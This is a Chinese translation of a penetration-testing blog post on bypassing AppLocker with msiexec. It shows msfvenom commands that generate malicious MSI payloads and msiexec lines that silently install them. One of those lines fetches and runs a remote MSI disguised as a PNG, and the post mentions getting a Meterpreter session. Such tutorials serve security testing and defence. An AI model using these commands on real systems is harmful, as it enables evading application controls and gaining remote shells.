回归最本质的信息安全

绕过AppLocker系列之MSIEXEC的利用

2017年6月22日发布

18,175
1
12

导语:MSIEXEC是Windows操作系统中的一个实用程序,可用于从命令行安装或配置产品。 如果环境配置不正确,则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。 本文的以下内容表明,当系统配置为不阻止所有用户执行MSI文件时,那

MSIEXEC是Windows操作系统中的一个实用程序,可用于从命令行安装或配置产品。 如果环境配置不正确,则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。 本文的以下内容表明,当系统配置为不阻止所有用户执行MSI文件时,那么系统就得不到正确的保护,因为任何一个AppLocker的可执行规则都可以轻松绕过。

可以使用Metasploit 的MsfVenom来生成用于执行命令或有效载荷的.MSI文件。

msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 199 bytes
Final size of msi file: 159744 bytes

msfvenom-generating-msi-files.png

使用 MsfVenom 生成 MSI 文件 

运行powershell.msi 将会打开一个PowerShell会话,这样就可以绕过AppLocker的规则了,即使已经设置了所有用户都不可以执行PowerShell。

msiexec-powershell.png

利用MSIEXEC 运行 PowerShell

同样可以利用这种方式运行cmd命令,即使Windows系统已经阻止了cmd命令的执行。

msiexec /quiet /i cmd.msi

msiexec-via-run.png

执行上述命令后,就会弹出cmd的窗口。

msiexec-command-prompt.png

另外,msiexec实用程序还可以运行已经重命名过的MSI文件,比如重命名为PNG的MSI文件。 这些文件可以在命令提示符中本地执行或从远程执行,当然也可以绕过AppLocker规则执行。

msiexec /q /i http://192.168.100.3/tmp/cmd.png

msiexec-command-prompt-via-png.png

利用MSIEXEC执行PNG文件,弹出cmd

上述操作同样可以用在Meterpreter payload 执行MSI文件上。

msi-meterpreter-payload.png

利用MSI 执行 Meterpreter Payload

msiexec-meterpreter.png

利用MSIEXEC获得Meterpreter 会话

本文翻译自https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/,如若转载,请注明原文地址: http://www.4hou.com/technology/5612.html

点赞 12
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

丝绸之路

丝绸之路

嘶吼认证-特约作者/译者

发私信

发表评论

    绚濑绘里
    绚濑绘里 2017-06-22 14:34

    这种思路真是清新脱俗,一般看到这种权限的我都不打算继续下去了,没想到博主竟然会想到通过这种方式来绕过